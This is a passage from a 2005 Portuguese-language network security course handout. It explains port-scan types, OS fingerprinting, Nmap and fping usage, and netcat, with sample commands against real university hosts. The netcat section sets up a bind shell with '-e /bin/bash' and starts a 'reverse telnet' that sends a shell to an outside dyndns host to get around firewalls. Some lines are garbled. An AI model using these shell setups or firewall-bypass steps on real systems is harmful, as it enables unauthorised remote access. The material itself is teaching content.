Quando as varreduras baseadas no protocolo ICMP não podem ser utilizadas, a Varredura de
Portas é uma alternativa eficiente, uma vez que sempre existem portas através das quais um
gateway
permite o tráfego de entrada e saída, como é o caso das portas: 21 (FTP), 22 (Telnet), 23
(SSH), 25
(SMTP), 80 (HTTP), 110 (POP) e 443 (HTTPS) .
As varreduras de porta são normalmente baseadas ou no protocolo TCP ou no protocolo UDP .
Devido à suas características, o protocolo TCP é aquele que apresenta a maior variedade de
tipos de
varredura.
8.2.1) Varredura de Portas TCP
A varredura de portas TCP é feita pelo envio de pacotes à porta alvo e aguardando-se pelas
respostas. Quando a porta alvo responde, os pacotes recebidos terão alguns de seus campos
analisados e,
com base nesta análise, será possível determinar se a porta está aberta e o nó ativo.
Atualmente, existem vários tipos de varredura TCP, algumas das quais são descritas a seguir.
Varredura de Conexão TCP : Nesta varredura, a máquina de origem tenta estabelecer uma
conexão válida com a porta alvo, durante a qual deve ocorrer o "3 way handshake" do
protocolo TCP, este
processo consiste no envio de um pacote "SYN" à porta alvo, no recebimento de um pacote
"SYN/ACK"
\ e finalmente no envio do pacote "ACK" à porta alvo. Caso a conexão seja completada com
sucesso, é
possível afirmar que a porta está aberta e o nó ativo.
Por realizar uma conexão completa, esta varredura pode ser facilmente percebida por
ferramentas de detecção de intrusão e por essa razão raramente é utilizada com finalidade
furtiva.
Varredura TCP SYN : esta varredura também é conhecida como varredura semi-aberta, pois
ao
receber o pacote "SYN/ACK" vindo da porta alvo, o nó, que originou a primeiro pacote, não
responde com
o pacote "ACK" . Ao receber o pacote com os bits "SYN/ACK" setados, o nó pode-se afirmar
que a porta
está aberta. Contudo, se for recebido um pacote com os bits "RST/ACK" , a porta
provavelmente não está
no estado de escuta.
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 44 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
Por ser uma técnica mais furtiva, vários sistema de monitoramento não registram este tipo de
varredura.
Varredura TCP FIN : este técnica é muito utilizada contra sistemas baseados em UNIX, pois
quando estes recebem um pacote "FIN" destinado à porta fechada, eles enviam de volta um
pacote "RST",
contudo o mesmo não acontece com sistemas Windows que ignoram o pacote. Este padrão é
documentado
na RFC793 .
Varredura TCP Xmas Tree : neste caso ocorre o envio de um pacote com os bits "FIN" ,
"URG" e
"PUSH" ligados à porta alvo e segundo a RFC793, toda porta fechada deve responder com um
pacote
"RST"
Varredura TCP NULL : Quando uma porta alvo recebe um pacote com todos os flags
desligados
(setados como 0), ela deve responder com um pacote "RST" caso esteja fechada.
Varredura TCP ACK : Esta técnica é usada para mapear regras de um determinado firewall,
permitindo determinar se o firewall é apenas um filtro de pacote ou um firewall de estados.
Varredura TCP Windows : Esta técnica analisa o tamanho do campo Window do protocolo
TCP e
permite determinar se a porta está aberta , filtrada ou não filtrada . Esta análise é possível, pois
alguns
gateways de segurança alteram o valor deste campo quando filtram determinadas portas.
Varredura TCP RPC : Esta técnica permite identificar qual é a versão dos aplicativos RPC
\footnote
{O serviço RPC (Remote Procedure Call) é especifico do sistema operacional UNIX. que estão
ativos em
um nó Unix Like. Alguns dos serviços que fazem uso do RPC são o NFS (Network File System)
e o NIS
(Network Information Service).
8.2.2) Varredura de Portas UDP
Apesar de existirem vários tipos de varreduras TCP, existe somente uma baseada no protocolo
UDP. Esta única varredura consiste no envio de "datagramas" com zero (0) bytes de dados à
porta alvo. A
resposta pode ser uma mensagem "ICMP port unreachable" indicando que a porta está
fechada, caso não
ocorra nenhuma resposta, a porta pode estar aberta ou sendo filtrada.
Quando datagramas são enviados a várias portas de uma máquina e um grande número delas
não
os responde, estas provavelmente estão em estado de escuta. Por outro lado, se nenhuma
porta responde,
isto pode indicar que ou o nó está fora do ar ou o mesmo está sendo filtrado.
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 45 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
Uma forma alternativa de análise consiste na escolha de uma porta UDP que, segundo a lista
de
porta definida pela IANA, não deve estar em estado de escuta, e no envio de pacotes, se a
mesma não
responder com uma mensagem "ICMP Port Unreachable Error" é porque ela está sendo
filtrada.
Existe uma grande quantidade de ferramentas disponíveis para se realizar a varredura de
redes de
computadores, no entanto, apenas algumas se destacam pelas suas funcionalidades, dentre
elas:
Varredura de ICMP: Ping, Fping, Hping, Nmap, Icmpenum e Icmpquery.
Varredura de Portas: Nmap, Strobe, Udp_scan e Netcat.
8.3) Coleta do sistema operacional dos nós remotos
Utilizando-se das técnicas de varredura, o modelo pode realizar o mapeamento de todo um
segmento de rede, identificando nós ativos e portas abertas, porém estas técnicas não
permitem determinar,
com exatidão, o Sistema Operacional ativo em um nó remoto e portanto é necessário o uso de
uma outra
metodologia para este fim.
A metodologia comumente utilizada para determinar o sistema operacional de um nó se baseia
na
coleta de seu "fingerprint" ou sua "impressão digital" . Quando os desenvolvedores dos vários
sistemas
operacionais implementam a pilha do protocolo TCP/IP , eles normalmente interpretam de
forma distinta
as recomendações feitas pelas RFCs e produzem pilhas com características próprias. Estas
características formam o "fingerprinting" de um nó.
Analisando o comportamento da pilha de uma determinada versão de um sistema operacional
e
mapeando o resultado dentro de um banco de dados, é possível utilizar estes dados para a
verificação do
sistema operacional de outros nós.
O "fingerprinting" de um nó pode ser coletado de forma Ativa , através do envio de pacotes ao
nó
alvo e da análise do pacotes recebidos, e de forma Passiva , pela análise de pacotes
pertencentes a
conexões já estabelecidas e coletados diretamente pela interface de rede.
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 46 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
8.3.1) Coleta ativa do fingerprinting
A coleta ativa do "fingerprinting" consiste no envio de pacotes préviamente formatados para o
nó
alvo e na análise de campos específicos dos pacotes recebidos como resposta. Neste tipo de
coleta, a
interface de rede não necessita ser colocada em modo promíscuo.
O "fingerprinting" ativo possui um elevado nível de exatidão, mas falha quando as
características
da pilha TCP/IP são alteradas pelo seu administrador. Isto normalmente ocorre quando o
administrador
realiza otimizações no nó ou quando ele implementa uma política baseada em "obscuridade" ,
na qual o
"fingerprinting" é alterado para forjar um outro sistema operacional.
A coleta ativa da impressão digital de um nó pode ser realizada através de várias análises
simples,
tais como:
Sonda FIN: segundo a RFC973 , quando uma porta aberta recebe um pacote "FIN" não deve
responder, entretanto algumas pilhas TCP/IP , como é o caso da pilha do Windows NT,
responde com uma
mensagem FIN/ACK ;
Sonda de Flag Falso: consiste no envio de um pacote SYN com o flag indefinido configurado
como "1" , dependendo do sistema operacional. Este pacote pode ser respondido através de
um pacote
com o mesmo flag setado em "1". Este procedimento é implementado pelo Linux e por outros
sistemas
Unix Like ;
Bit não Fragmentar: para permitir um melhor desempenho do protocolo, TCP/IP alguns
sistema
operacionais setam este campo com o valor "1" e outros, como é o caso do Solaris , não
permitem o seu
uso;
Tamanho da Janela TCP: o tamanho deste campo é normalmente dependente do sistema
operacional. Por exemplo: o AIX é o único sistema operacional a utilizar o valor Ox3F25 para
este campo;
Numero Seqüencial do ACK: esta técnica consiste em observar o valor do número seqüencial
do
pacote ACK . Alguns sistemas respondem ao pacote com o mesmo número seqüencial daquele
que o
originou, outros incrementam este valor em uma unidade antes de respondê-lo;
Limitação das Mensagem de Erro ICMP: alguns sistemas operacionais, seguindo as
recomendações da RFC1812, limitam a taxa de envio das mensagens de erro ICMP a um
determinado valor
por intervalo de tempo. Sendo este valor padronizado, basta enviar vários pacotes UDP à uma
porta
fechada e aguaradar a mensagem "ICMP port unreachable" . Esta técnica normalmente não é
muito
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 47 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
utilizada, pois torna a coleta do fingerprinting lenta ;
Tipo de Serviço (TOS): a maioria dos sistema operacionais setam este campo para zero (0)
quando enviam uma mensagem " ICMP port unreachable ", apesar de alguns sistemas
operacionais utilizam
valores diferentes.
Opções do TCP: as opções básicas do protocolo TCP são determinadas pela RFC793 e pela
RFC1323, já as opções avançadas são definidas pela RFC1323. Realizando o envio de vários
pacotes com
valores específicos nestes campos e analisando a resposta, pode-se supor o sistema
operacional ativo,
visto que nem todos os sistemas implementam todas as opções descritas nestas RCFs .
Existem ainda outras técnicas que não se utilizam de pacotes TCP ou UDP, ao invés disto,
fazem
uso de mensagens de ICMP. Estas técnicas foram utilizadas por Ofir Arkin na construção da
ferramenta
Xprobe .
8.3.2) Coleta passiva do fingerprinting
A coleta passiva consiste na captura de pacotes, pertencentes às conexões ativas, por um
sniffer.
Sniffers são utilitários de rede que operam em modo promíscuo e permitem a coleta dos dados
das
conexões de outras estações de trabalho, sem que ocorra a alteração da mesma ou que a
ação seja
detectada e da análise dos mesmos. Esta coleta necessita que a interface de rede esteja
operando em
modo promíscuo. No modo promíscuo todo o tráfego de dados pode ser capturado por uma
interface de
rede, independentemente do endereço de destino , não gerando assim tráfego na rede.
O fingerprinting passivo possui a grande de vantagem ser indetectável pelo nó alvo. Por outro
lado,
caso existam pacotes forjados circulando pela rede, a coleta passiva pode ser induzida a
determinar de
forma errônea o sistema operacional de alguns nós.
A análise dos pacotes coletados pela interface de rede tem por finalidade determinar as
"idiossincrasias" nas implementações das pilhas TCP/IP de cada sistema operacional.
Os principais campos utilizados para identificar o sistema operacional de um nó são: o TTL , o
Windows Size , o DF e o TOS , pois possuem valores tabelados de acordo com o sistema
operacional e
sua versão.
Durante uma análise, o primeiro campo verificado é o campo TTL . Quando o valor deste
campo é
igual à 64, o pacote provavelmente pertence a um nó com Linux ou FreeBSD.
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 48 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
O segundo campo analisado é o Windows Size , que normalmente possui valor igual a 0x7D78
quando a máquina possui uma versão do Windows ou do Linux instalado. O terceiro campo
verificado é o
flag DF , que indica se o pacotes está fragmentado ou não. Poucos são os sistemas que setam
este bit
como "zero", mas o SCO e o OpenBSD utilizam este padrão. O ultimo campo verificado é o
TOS , que na
maioria das mensagem está setado para "zero".
Por exemplo: suponha que um dos pacotes capturados pelo "sniffer" apresente as
características
abaixo . Cruzando os dados coletados com as informações acima, pode-se concluir que o nó
provavelmente
roda uma versão do Kernel do Linux.
TTL 64
Window Size 0x7D78
DF bit 1
TOS 0x0
Outros campos também podem ser utilizados na detecção do sistema operacional de forma
passiva,
mas softwares como o Siphon, p0f e o Cheops utilizam somente estes quatro campos para
gerar e
verificar as assinaturas dos sistemas operacionais.
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 49 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
9)Kit de Ferramentas
As próximas sessões apresentam algumas ferramentas comumente utilizadas por
administradores
no processo de verificaçao do nível de segurança de seus ambientes.
9.1) Nmap
O Nmap fornece, de uma maneira geral, a relação de computadores e serviços ativos. Existem
diversas formas e parâmetros a serem informados durante uma varredura. Para obter o código
fonte é só
acessar o link abaixo e procurar por “Latest Stable Version Tarball”:
http://www.insecure.org/nmap_download.html
Este aplicativo possui os seguintes métodos de varredura:
-sP ou Ping scan: Algumas vezes é necessário saber se um determinado host ou rede está
no ar. Nmap pode enviar pacotes ICMP “echo request” para verificar se determinado host
ou rede está ativa. Hoje em dia, existem muitos filtros que rejeitam os pacotes ICMP
“echo request”, então envia um pacote TCP ACK para a porta 80 (default) e caso receba
RST o alvo está ativo. A terceira técnica envia um pacote SYN e espera um RST ou
SYN-ACK.
-sR ou RCP scan: Este método trabalha em conjunto com várias técnicas do Nmap. Ele
considera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC, para
determinar se realmente são portas RPC. É como se o comando “rpcinfo -p” estivesse
sendo utilizado, mesmo através de um firewall ( ou protegido por TCP wrappers ).
-sS ou TCP SYN scan: Técnica também conhecida como “half-open”, pois não abre uma
conexão TCP completa. É enviado um pacote SYN, como se ele fosse uma conexão real
e aguarda uma resposta. Caso um pacote SYN-ACK seja recebido, a porta está aberta,
enquanto um como resposta indica que a porta está fechada. A vantagem dessa
abordagem é que poucos irão detectar esse scanning de portas.
-sT ou TCP connect() scan: É a técnica mais básica de TCP scanning. É utilizada a chamada
de sistema (system call) “connect()” que envia um sinal as portas ativas. Caso a porta
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 50 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
esteja aberta recebe como resposta “connect()”. É um dos scan mais rápidos, porém
fácil de ser detectado.
-sU ou UDP scan: Este método é utilizado para determinar qual porta UDP está aberta em um
host. A técnica consiste em enviar um pacote UDP de 0 byte para cada porta do host. Se
for recebido uma mensagem ICMP “port unreachable” então a porta está fechada, senão
a porta pode estar aberta. Para variar um pouco, a Microsoft ignorou a sugestão da RFC
e com isso a varredura de máquinas Windows é muito rápida.
-sV ou Version detection: Após as portas TCP e/ou UDP serem descobertas por algum dos
métodos, o nmap irá determinar qual o serviço está rodando atualmente. O arquivo
nmap-service-probes é utilizado para determinar tipos de protocolos, nome da aplicação,
número da versão e outros detalhes.
-sF, -sX, -sN ou Stealth FIN, Xmas Tree ou Null: Alguns firewalls e filtros de pacotes detectam
pacotes SYN's em portas restritas, então é necessário utilizar métodos avançados para
atravessar esses softwares.
FIN: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto
portas abertas ignoram esses pacotes. (Esse método não funciona com a plataforma Windows,
uma vez que a Microsoft não seguiu RFC 973)
Xmas Tree: Portas fechadas enviam um pacote RST como resposta a pacotes FIN,
enquanto portas abertas ignoram esses pacotes. As flags FIN, URG e PUSH são utilizados no
pacotes FIN que é enviado ao alvo. (Esse método não funciona com a plataforma Windows,
uma
vez que a Microsoft não seguiu RFC 973)
Null: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto
portas abertas ignoram esses pacotes. Nenhuma flag é ligada no pacote FIN. (Esse método
não
funciona com a plataforma Windows, uma vez que a Microsoft não seguiu RFC 973)
Além destas o nmap possui outras opções de uso geral, das quais podemos destacar:
-D <decoy1 [,decoy2][,VOCE],...> :Durante uma varredura, utiliza uma série de endereços
falsificados, simulando que o scanning tenha originado desses vários hosts, sendo
praticamente
impossível identifiicar a verdadeira origem da varredura.
nmap -D IP1,IP2,IP3,IP4,IP6,SEU_IP alvo
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 51 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
-F : Procura pelas portas que estão no /etc/services. Método mais rápido, porém não
procurar por todas as portas.
nmap -F alvo
-I : Se o host estiver utilizando o ident, é possível identificar o dono dos serviços que estão
sendo executados no servidor (trabalha com a opção -sT)
nmap -sT -I alvo
-n : Não irá resolver nome de hosts a ser varrido.
nmap -n alvo
-O : Ativa a identificação do host remoto via TCP/IP. Irá apresentar versão do Sistema
Operacional e tempo ativo.
nmap -O alvo
-p <lista_de_portas> : Especifica quais portas devem ser verificadas na varredura. Por
default, todas as portas entre 1 e 1024 são varridas.
nmap -p 22,80 alvo
nmap -p U:53,111,137,T:21-25,80,139,8080
-P0 :Não tenta pingar o host antes de iniciar a varredura. Isto permite varrer alvos que
bloqueiam ICMP “echo request (ou responses)” através de firewall.
nmap -P0 alvo
-PS[lista_de_portas] :Usa pacotes SYN para determinar se o host está ativo.
nmap -PS80 alvo
-PT[lista_de_portas] : Usa TCP “ping” para determinar se o host está ativo.
nmap -PT80 alvo
-R : Irá resolver nome de hosts a ser varrido.
nmap -R80 alvo
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 52 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
-r : A varredura será feita nas portas randomicamente, não seguinte a ordem crescente.
nmap -r alvo
-T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane>
Esse parâmetro seta a prioridade de varredura do Nmap:
Paranoid (-T5) é muito lento na esperança de prevenir a detecção pelo sistema IDS.
�
envio de pacotes.
Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances de
�
travar a máquina. Ele serializa os testes e espera no mínimo 0.4 segundos entre eles.
Normal (-T2) é o comportamento default do Nmap, o qual tenta executar tão rápido
�
9.3) Fping
O fping é um programa que, assim como ping, utiliza o protocolo ICMP ( _____ __ _______________________________
) para determinar se um ou vários nós da rede estão ativos, mas ao contrário do ping, ele
_ ____!__"#___
permite
realizar a verificação de vários nós ao mesmo tempo, o endereço dos nós pode ser passado via
linha de
comando ou através de um arquivo texto.
O fping ao receber uma confirmação de atividade automaticamente, envia um aviso de
atividade e
exclui o host da lista de verificação, mas quando um nó não responde em no período pré
determinado ele é
tido como desligado ou não alcançável.
Este comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e
sua
saída ser de fácil manipulação.
Este comando aceita os seguintes parâmetros:
-a : lista somente aqueles nós que estão ativos;
-A : mostra o endereço do nó ao invés do seu nome de domínio;
-c : informa quanto pacotes devem ser enviados para cada host;
-C : assim como o anterior, mas este informa no final o tempo de resposta em milisegundos
de cada pacote;
-e : mostra o tempo decorrido até o recebimento do pacote de verificação;
-i : tempo mínimo em milisegundos entre o envio de dois pacotes a qualquer host da rede;
-l : loop, envia pacotes indefinidamente;
-n : utiliza o nome de domínio do host na saída do comando;
-r : número de tentativas de alcançar o host;
-u : mostra somente os host que não foram alcançados
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 59 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
Exemplos:
Informa o estado das máquinas utilizando o nome de domínio delas, como pode ser
observado logo abaixo:
fping -n 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100 146.164.32.67
ns.ravel.ufrj.br is alive
mailhost.ravel.ufrj.br is alive
gw-ether.ravel.ufrj.br is alive
mailhost.ravel.ufrj.br is alive
websec.ravel.ufrj.br is unreachable
Informa somente o nome das máquinas que estão ativas, como vemos abaixo:
fping -na 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100 146.164.32.67
ns.ravel.ufrj.br
mailhost.ravel.ufrj.br
gw-ether.ravel.ufrj.br
mailhost.ravel.ufrj.br
Informa somente o nome das máquinas que não podem ser encontradas, como pode
ser observado logo abaixo:
fping -nu 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100 146.164.32.67
websec.ravel.ufrj.br
Envia apenas dois pacotes para cada host e no final informa a taxa de pacotes
enviados, recebidos e perdidos, como pode ser observado logo abaixo:
fping -q -n -c 2 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100
146.164.32.101
ns.ravel.ufrj.br : xmt/rcv/%loss = 2/2/0%, min/avg/max = 50.0/51.8/53.7
mailhost.ravel.ufrj.br : xmt/rcv/%loss = 2/2/0%, min/avg/max = 45.5/47.3/49.1
websec.ravel.ufrj.br : xmt/rcv/%loss = 2/0/100%
gw-ether.ravel.ufrj.br : xmt/rcv/%loss = 2/2/0%, min/avg/max = 51.3/52.5/53.7
146.164.32.101 : xmt/rcv/%loss = 5/5/0%, min/avg/max = 49.8/58.6/76.9
Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta de
cada um, como pode ser observado logo abaixo:
fping -q -n -C 5 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100
146.164.32.101
ns.ravel.ufrj.br : 490.2 509.4 520.3 505.6 466.7
mailhost.ravel.ufrj.br : 529.4 512.2 526.0 489.0 505.6
websec.ravel.ufrj.br : - - - - -
gw-ether.ravel.ufrj.br : 479.3 540.4 509.7 478.5 494.6
146.164.32.101 : 684.3 520.1 592.9 533.1 745.8
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 60 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
Informa o tempo de resposta de cada host, informando o seu endereço ip ao invés do
seu nome de domínio, como pode ser observado logo abaixo:
fping -A -e protheus.ravel.ufrj.br websec.ravel.ufrj.br www.yahoo.com.br
www.gmail.com
146.164.32.67 is alive (53.3 ms)
200.152.161.113 is alive (45.9 ms)
64.233.171.107 is alive (534 ms)
146.164.32.75 is unreachable
9.3) Netcat
Netcat é uma ferramenta usada para ler e escrever dados em conexões de rede usando o
protocolo
TCP/IP. Dada sua grande versatilidade, o NetCat é considerado pelos hackers o canivete suíço
do TCP/IP,
podendo ser usado para fazer desde portscans até brute force attacks.
O nome netcat vem do comando cat do Linux/Unix. O cat concatena arquivos e envia para a
saída
padrão (stdout). O netcat faz praticamente o mesmo, porém ao invés de concatenar arquivos, o
netcat
concatena sockets TCP e UDP.
9.3.1) Opções do Netcat
-e comando : Executa o comando especificado usando como entrada (stdin) os dados
recebidos
pela rede e enviando os dados de saída (stdout e stderr) para a rede. Essa opção somente
estará presente
se o nc for compilado com a opção GAPING_SECURITY_HOLE, já que permite que usuários
disponibilizem
programas para qualquer um conectado a rede.
-i : Especifica o intervalo de tempo no qual as linhas de texto serão enviadas ou recebidas.
-l : Coloca no netcat em estado de escuta (listening)
-L : Coloca no netcat em estado de escuta (listening), reiniciando o netcat com a mesma linha
de
comando caso a conexão feche;
-n : Força o netcat a usar apenas endereços de IP numéricos, sem fazer consultas a servidores
DNS;
-o filename : Usando para obter um log dos dados de entrada ou saída, em formato
hexadecimal;
-p : Especifica a porta a ser usada, sujeito a disponibilidade e a restrições de privilégio;
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 61 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
-r : Faz as portas do portscan serem escolhidas aleatoriamente;
-s : Especifica o endereço IP da interface usada para enviar os pacotes. Pode ser usado para
spoofing de IPs, bastando apenas configurar uma interface do tipo eth0:0 (usando o ifconfig)
com o IP
desejado;
-t : Permite usar o nc para criar sessões de telnet por script. Precisa estar compilado com a
opção
-DTELNET;
-u : Usar UDP ao invés de TCP;
-v : Controla o nível de mensagens mostradas na tela;
-w : Limita o tempo máximo para que uma conexão seja estabelecida;
-z : Para evitar o envio de dados através de uma conexão TCP, e limitar os dados de uma
conexão
UDP.
9.3.2) Preparando as Interfaces de Rede
Para testar o netcat, usaremos dois aliases na interface loopback (lo) do linux. O endereço IP
default
da interface lo no linux é 127.0.0.1. Se mexermos com o endereço 127.0.0.1 podemos quebrar
as nossas
conexões de rede. Ao invés disso, usaremos os aliases lo:1 e lo:2 para executarmos os testes.
Para atribuir
endereços IP à essas interfaces, os seguintes comandos devem ser executados (como usuário
root) na
console do linux:
$ ifconfig lo:1 10.0.1.1
$ ifconfig lo:2 10.0.1.2
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 62 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
O comando ifconfig também permite verificar se o comando foi bem sucedido:
ifconfig
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:10 errors:0 dropped:0 overruns:0 frame:0
TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:700 (700.0 b) TX bytes:700 (700.0 b)
lo:1 Link encap:Local Loopback
inet addr:10.0.1.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:20848 errors:911 dropped:0 overruns:0 frame:926
TX packets:63 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1398645 (1.3 Mb) TX bytes:6935 (6.7 Kb)
lo:2 Link encap:Local Loopback
inet addr:10.0.1.2 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:20848 errors:911 dropped:0 overruns:0 frame:926
TX packets:63 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1398645 (1.3 Mb) TX bytes:7281 (7.1 Kb)
As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem dois
computadores na mesma rede, com IPs diferentes.
9.3.3) Colocando o Netcat para escutar uma porta
O seguinte comando permite usar o netcat para "escutar" o tráfego da rede:
nc -vv -l -p8080
Listening on any address 8080 (webcache)
Para redirecionar a saída para um arquivo, usa-se o seguinte formato:
nc -l -p8080 > filename.txt
Para conectar um cliente netcat, usa-se o seguinte comando:
nc 10.0.1.1 -p8080 > filename.txt
Assim, tudo o que for digitado no cliente será repetido no servidor (na primeira console). Use
CTRLC
para terminar a conexão.
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 63 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
O servidor deverá mostrar um breve resumo da conexão:
Total received bytes: 5
Total sent bytes: 0
9.3.4) Transferindo Arquivos
Transferir arquivos de um host para outro usando o netcat é bastante simples. Basta configurar
o
lado server (que vai receber o arquivo) para "escutar" uma porta específica e redirecionar todos
os dados
recebidos para um arquivo. Colocando-se um timeout, o servidor irá perceber quando não
existem mais
dados chegando e irá fechar a conexão. No lado cliente da conexão, simplesmente conecta-se
à porta do
servidor e passa-se o arquivo a ser transferido como entrada.
Servidor:
nc -vvn -l -p 3000 -w 30 > file
Listening on any address 3000
Cliente:
nc -vvn -w 2 10.0.0.1 3000 < file1
10.0.0.1 3000 open
O servidor irá mostrar a seguinte mensagem quando uma conexão for estabelecida:
Connection from 10.0.0.1:1028
Novamente, a conexão deve ser terminada usando-se o CTRL-C. O servidor irá mostrar:
Exiting.
Total received bytes: 6
Total sent bytes: 0
Enquanto que o cliente mostrará:
Total received bytes: 0
Total sent bytes: 6
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 64 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
9.3.5) Emulando o serviço de Telnet
Agora que já sabemos como fazer uma transferência de arquivos, podemos tentar algo mais
útil. Por
exemplo, podemos nos conectar em uma máquina remota e executar alguns comandos, sem
passar por
mecanismos de controle de acesso. Para isso, podemos usar o netcat com a opção -e. Um
simples
exemplo:
Na console do servidor entre:
nc -l -p 5000 -e /bin/bash
No cliente:
nc 10.0.1.1 5000
Agora, estamos conectados no servidor, e com acesso ao shell. Não vemos o prompt, mas
podemos
ver a saída de cada comando enviado para o servidor:
ls
bin dev home media opt root srv tmp var
boot etc lib mnt proc sbin sys usr
9.3.6) Criando um Portscanning
É possível usar o netcat para fazer portscans. Para isso, deve-se usar a flag -z (zero I/O mode),
que
apenas conecta e desconecta de uma determinada porta. Para executar um scan um portas
UDP, deve-se
usar a opção -u.
TCP
nc -vvn -z xxx.xxx.xxx.xxx start-end
UDP
nc -u -vvn -z xxx.xxx.xxx.xxx start-end
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 65 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
No exemplo abaixo, tentamos fazer um scan das portas 21 até 26. Como pode-se ver, portas
fechadas resultam em um "Connection refused" e portas abertas mostram "open". O scan UDP
é
basicamente o mesmo.
nc -vvn -z 10.0.0.1 21-26
10.0.0.1 21 (ftp): Connection refused
10.0.0.1 22 (ssh) open
10.0.0.1 23 (telnet): Connection refused
10.0.0.1 24: Connection refused
10.0.0.1 25 (smtp): Connection refused
10.0.0.1 26: Connection refused
Total received bytes: 0
Total sent bytes: 0
9.3.7) Telnet Reverso
Muitas empresas possuem algum tipo de link dedicado para acesso a internet. Tambem
possuem
algum tipo de firewall que bloqueia o acesso a rede interna, que muitas vezes não tem um IP
válido que
podemos acessar. Para logar remotamente em um computador dessa rede, talvez para copiar
algum
arquivo importante para finalizar um trabalho que esteja fazendo de sua casa, um cliente telnet
ou ftp não
poderia ser usado.
Por exemplo, temos um servidor que aceita apenas conexões externas na porta 80, mas não
tem
um IP externo válido. O computador de casa provavelmente possui um IP real válido, e portas
que podem
ser abertas ou fechadas conforme a necessidade. Invertendo as direções das conexões pode
resolver esse
problema: basta fazer o computador do escritório conectar no computador de casa, recebendo
comandos do
cliente a executando-os no servidor. Essa técnica é conhecida como Telnet Reverso.
Vamos chamar o computador do escritório de WORK e o computador de casa HOME. Se o
computador HOME for configurado para usar IP dinâmico, precisaremos de um nome para
DNS dinâmico,
tipo o serviço fornecido pela dyndns.org. No computador WORK, configuramos um job cron
para iniciar as
19:00. Como no exemplo anterior do telnet, ele conecta ao home.dyndns.org e inicia uma
sessão bash. Para
isso, em casa deve-se iniciar (antes das 19:00) o netcat da seguinte forma:
nc -vv -l -p 80
As 10:00, WORK conecta ao HOME, inicia o bash e está pronto para executar qualquer
comando
que queremos.
Para testar nosso telnet reverso na nossa rede virtual, devemos colocar o cliente (HOME) em
modo
Prof. Luís Rodrigo de O. Gonçalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Página 66 de 71
Apostila do Curso de Segurança – DRAF 0.4 - Petrópolis, 5 de Março de 2005
de espera, escutando uma conexão:
nc -vv -l -p 80
Listening on any address 80
